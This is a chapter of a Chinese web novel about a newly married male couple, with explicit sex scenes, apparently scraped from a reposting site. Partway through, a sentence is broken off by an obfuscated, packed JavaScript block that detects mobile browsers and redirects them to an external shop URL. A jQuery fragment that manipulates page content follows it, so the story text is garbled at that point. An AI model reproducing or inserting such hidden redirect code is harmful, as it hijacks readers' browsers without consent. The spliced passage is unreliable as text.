文趣网 > 其他小说 > 状元郎独宠小夫郎 > 15. 食髓知味
    聊完潜藏的隐患事宜,时镜清折回房间,给雨哥儿收拾换洗衣服,还有明儿搬去镇上住所需的零碎物品。

    至于他科举所用的书籍笔纸,迟一些再整理也无事,左右镇上离家不远,运过去也不费事。

    宋雨嫁进来便没带什么,屋子里的一切都是时父时母添置的,衣裳发带摇扇裙袜,无一不崭新。

    “雨哥儿,这有身浅绿色的薄纱衣裳,等进了夏季,你穿正合适。”

    时镜清翻衣柜整理衣裳,发现一套压在衣柜底下的新衣,觉得绿色甚是衬雨哥儿肤色气质,便特地提了一嘴。

    宋雨闻声,几步走到时镜清身侧,贴近时镜清耳侧,柔声询问道:“你喜欢我穿这个颜色的衣裳?”

    时镜清被耳边热意激了一下,心口陡然一热,眸中碎芒闪现。

    他顾不及手上的衣裳,下意识转过身来,动作急切,将雨哥儿揉进怀里。

    “别总是勾我。”

    他受不住的,阿雨这般美好,他如何能自控。

    夫夫关系就是很奇妙,虽然以前从未得见,也没有深入了解,但成了夫夫后,心与心瞬间贴近,会让你觉着眼前人无与伦比的美好,世间再无第二人能比得上眼前人。

    对方一颦一笑一呼吸,都能撩动自身骨血欲望,恨不能将人‘就地正法’,让其躺在床上下不来。

    时镜清越想,脑子越清明,眸中□□烧得愈来愈旺盛,几个呼吸间,整个人身上气息转变,清冷自持,变成威压逼人。

    同时,宋雨也感觉自己被抱得越来越紧,心中升起隐秘的甜。

    他娇羞的说着:“我没有勾引你的意思,还未洗漱,身上有些汗津津的,做不得那档子事……”

    “阿清,你好烫,烫得我心慌慌的。”

    时镜清清冷一笑,手掌顺势往下挪移,顺着衣裳下摆,再往上摸索而去:“夫郎就在眼前,为夫自然是热情以待。你身上摸着干爽,不像是汗津津的样子,阿雨不乖,在说谎话诓我。”

    宋雨有些遭不住了,身子左右挣了挣,可惜没能挣开时镜清的怀抱,反倒把自己愈发推进时镜清怀里去,感受愈发高涨的热意。

    “阿清,当真不行,等洗完澡再亲热如何?”

    时镜清手掌游移,抚上后腰,目光灼灼的盯着宋雨双眸,开始一本正经的谈条件:“可以,但有个条件,试一试红册子上的姿势。”

    既然瞧过了,就不能白瞧,理应落实,给阿雨谋□□。

    宋雨心中隐隐兴奋,但他又要克制内心情绪,不能将情绪外泄,影响自己‘端庄’面具。

    他用力闭眼,淡去眸中期待微光,再睁开时,转而换上隐隐的羞怯担忧之色,回望进时镜清双眸之中。

    “还是不要了,我怕控制不住,叫出声来,被人听见,会很尴尬。”

    “依着村里人的习性,怕是会将这事当做茶余饭后的谈资,连累一家人都没脸……”

    时镜清眉头微蹙,眼里浮现不耐之色,又做沉稳状,温声安抚道:“这确实是一个问题,那今夜就罢了,待明夜,搬到镇上去住,我们再尝试。”

    宋雨兴奋得面颊通红,沉默点头。

    时镜清以为宋雨害羞了,遂抬手勾着宋雨的下颌,低头压上宋雨红润的唇瓣,细细碾磨吮吸……

    -

    夜里,洗漱完的夫夫俩在外间桌案前聊了好一会儿的闲话。

    宋雨开始探索时镜清的身体,切入点为时镜清的双手:“阿清,你的手真好看,修长有力,一看就是拿笔的。”

    时镜清在感情中不似生活里那般冷清,见宋雨神情认真的捧着他的手,一副好奇宝宝的模样,心中那股子骚动劲儿愈渐强盛。

    他反手抓住宋雨的手,往某个方向拉去。

    面色深沉幽暗:“我其他处也长而有力……”

    宋雨偏过头,用力抽手,整个人面红耳赤,瞧着像个烧开的水壶:“不要脸,不知羞!”

    时镜清一瞬间好似魅魔附身,声音低低的笑开来:“隔着衣物,有何羞的?”

    “阿雨于我,何处不看过、不碰过、不用过?”

    “我就是羞……”宋雨按耐住内心的激动,装作一副‘贤良’模样。

    实际上,他的手早已出卖脑海中的想法,不知不觉用了劲。

    也感受到了阿清的异样……

    -

    简单探索完毕,时镜清抱起宋雨,径直走回房间,开启夫夫第二轮亲密探索。

    纯白色的里衣很快就从两人身上散落,大红色的轻薄喜被堆在床里侧,实木做的大床极稳,榫卯交.合.处分毫不差,即便是很大的动作,木床也不会摇晃半分,更不会产生‘嘎吱嘎吱’的刺耳杂音。

    宋雨迷蒙间,脑子里突然浮现一个场景。

    醉酒的新科状元郎,把他抱在膝头猛猛亲,连一众过来道贺的客人瞧见了,也大大方方的,丝毫不扭捏。

    宽敞的院子里摆了十几桌宴席,宾客来往间无不笑意满面,推杯换盏间,恭维之语句句不同。

    还有穿着崭新官服的人端着香香的美酒上前祝贺,祝他和阿清长长久久,日日如新……

    时镜清察觉宋雨在走神,哑声询问:“是我伺候的不舒服么,竟叫夫郎分心至此。”

    话落,重重用力给了宋雨一记。

    “呃!”

    不知撞到了何处,宋雨惊叫一声,浑身瘫软。

    脑子里乱七八糟的想法尽数消散。

    “阿清,你作甚?”

    “雨哥儿不乖,在床上与我敦伦,尚且分心其他,平日里相处时,怕不是把我丢到哪个犄角旮旯里了。”

    阿雨心中的那人当真如此重要么?

    连带着情事时,都要分神去思他、念他,真真叫人伤心。

    宋雨一脸莫名之色,不知道时镜清这话是什么意思。

    不过,方才他确实分神了,阿清有小情绪也算合理,现在的力度很重,也很舒服。

    但出于‘端庄’面具,他还是细声道:“轻、轻些。”

    “好,那阿雨莫要再分神了,否则为夫会较劲的。”时镜清俯下身,在宋雨耳侧轻轻呼气,感受到眼前人愈发变快的心跳和急促的呼吸,他才若有所得的收敛嫉妒心思。

    只要雨哥儿心里有他就行,相处时日尚短,他有信心在将来完全占据雨哥儿的心。

    毕竟他也不差,别说在村子里与一众同龄人相较,即便是与镇上县城的年轻人相比,他也有一席之地。

    并非他普通且自信,而是能进书院的人,并在首席座下进学,早已是人中龙凤一样的存在。

    为人夫君,必不能畏畏缩缩、怯怯懦懦的,该有的自信一定要有,而不是做那类扶不起、有没有主见的阿斗。

    夫夫俩将问题说开,继续沉浸在欢好的畅快之中。

    宋雨舒适得意识渐渐迷离,好似飘在云端,双臂无力地搭在时镜清肩头,虚虚拢着时镜清的脖颈。

    时镜清很享受宋雨全身心依赖于他的感觉,嘴角一直保持着微微上扬的弧度,一双清雪双眸更是涌现星星点点的笑意和宠溺。

    这一夜,情比时漫长,与君共赴巫山云雨,处处皆是沐雨乘风的酣畅淋漓……

    翌日清晨,时镜清如往常一般比宋雨先醒来。

    早间思绪有些混沌,还沉浸在昨夜的欢好甜蜜里,他单手撑着身体,支起上半身,没有丝毫多余的动作,直接朝着宋雨红肿的嘴唇压下。

    宋雨早就醒了,还把时镜清轻薄一遍。

    他现在在装睡,当时镜清朝他压来时,强烈

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938111|213768||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的惊喜感鼓胀满他的心田!

    原来,阿清也会干这种偷偷摸摸亲人的事情,他还以为光风霁月的阿清,不会与他一般,喜欢在心仪之人睡着时,偷偷的轻薄对方。

    不对!

    宋雨心弦绷紧。

    是他对阿清念念不忘,而且早早有情,但阿清对他似乎是成婚后才开始交心的,按理来说,阿清不会对他那么快就滋生感情才对。

    好生奇怪。

    莫不是阿清装的?装喜欢自己,只为了维护这个家,维护他们这段意外而来的夫夫关系?

    这一晃神的时间,宋雨想到了好多,对时镜清愈发看不清晰了,更不知道他们的夫夫关系到底是不是真实的。

    为了验证心中所想,让自己不内耗多思,宋雨索性睁开了眼睛,回应时镜清的偷吻。

    感觉到回应,时镜清身子微僵,颇有些不好意思,但依旧从心的含吸着时镜清的唇瓣,继续今日的早间亲密行为。

    宋雨被亲得晕乎乎的,上头不已,过了许久才轻轻推开时镜清,哑声道:“阿清,该起了,再不起去书院便要迟了。”

    时镜清直勾勾望向宋雨眼眸深处,俊脸显露出一丝受伤:“你又推开我。”

    宋雨眨眨眼,真诚道:“阿清自当以学业为重。”

    时镜清伸手点了点宋雨眉心,眸中笑意清晰:“当真不是因着其他的事情?”

    宋雨面露疑惑,哑声反问:“还能因为什么事情?”

    “比如你心里念着的那个人。”

    “阿清多想了……”宋雨下意识否认,面色腾的一下红完。

    莫不是阿清知晓了自己一直痴恋与他的事?

    也不对,这事自己从未与其他人说过,阿清如何得知?

    “瞧你,不过问一句,便羞成这般模样……”时镜清略感心碎。

    “罢了,先起床洗漱。”

    时镜清松开宋雨,翻身而起,兀自拿了衣架子上放的干净衣裳,一件件往身上套。

    感情一事,非一日之功。

    宋雨能感觉出时镜清情绪有些不对,可他方才也没说什么,更没有说那种伤害镜清哥的话。

    所以,阿清是因为其他的事情情绪不佳?

    这该如何安抚呢,他从未安慰过人……

    宋雨一时间有些苦恼,连带着早间被时镜清偷吻的兴奋愉悦感也淡化下去。

    罢了,先起床洗漱吧,说不准洗了脸,漱了口,脑袋能比现在好用,办法也就想出来了。

    宋雨学着时镜清起床时的架势,一个翻身坐起。

    “啊!!”

    下一瞬,通呼声从他口中冲出,坐起不到一瞬,便僵直倒回被窝里。

    宋雨整张脸烧红,只觉着伤处的刺痛感叫他觉得羞耻又诡异的舒适。

    昨夜阿清好似突然上头了一般,操磨得比前几回都狠,这不,几轮下来,白日里擦了药恢复得差不多的地方又遭罪了。

    “怎的了?”两息后,时镜清推门而入,脸上带着明显的水渍,显然刚捧了水洗脸,尚未擦干。

    宋雨偏头,朝坐在床畔的时镜清看去,一脸羞窘:“扯到了伤处……”

    时镜清担忧又愧疚,伸手摸了摸宋雨的面颊,放柔了声音:“还疼么?我去仔细净了手,给你涂药。”

    时镜清的关心宋雨十分受用,他微微勾唇,眸中闪过否认之色:“不必,没破皮,估计只是肿了而已,你昨夜兴致高,虽然操磨得狠了些,但到底留有余力。”

    “你也说是估计,我没过眼,心里不安,你且等一会儿,我去净了手便回来给你上药。”时镜清语气坚定,不容拒绝,清冷的一张脸肃然又让人心生信赖。

    宋雨乐得享受自家夫君的关心疼爱,眸光温柔的看着时镜清离开房间。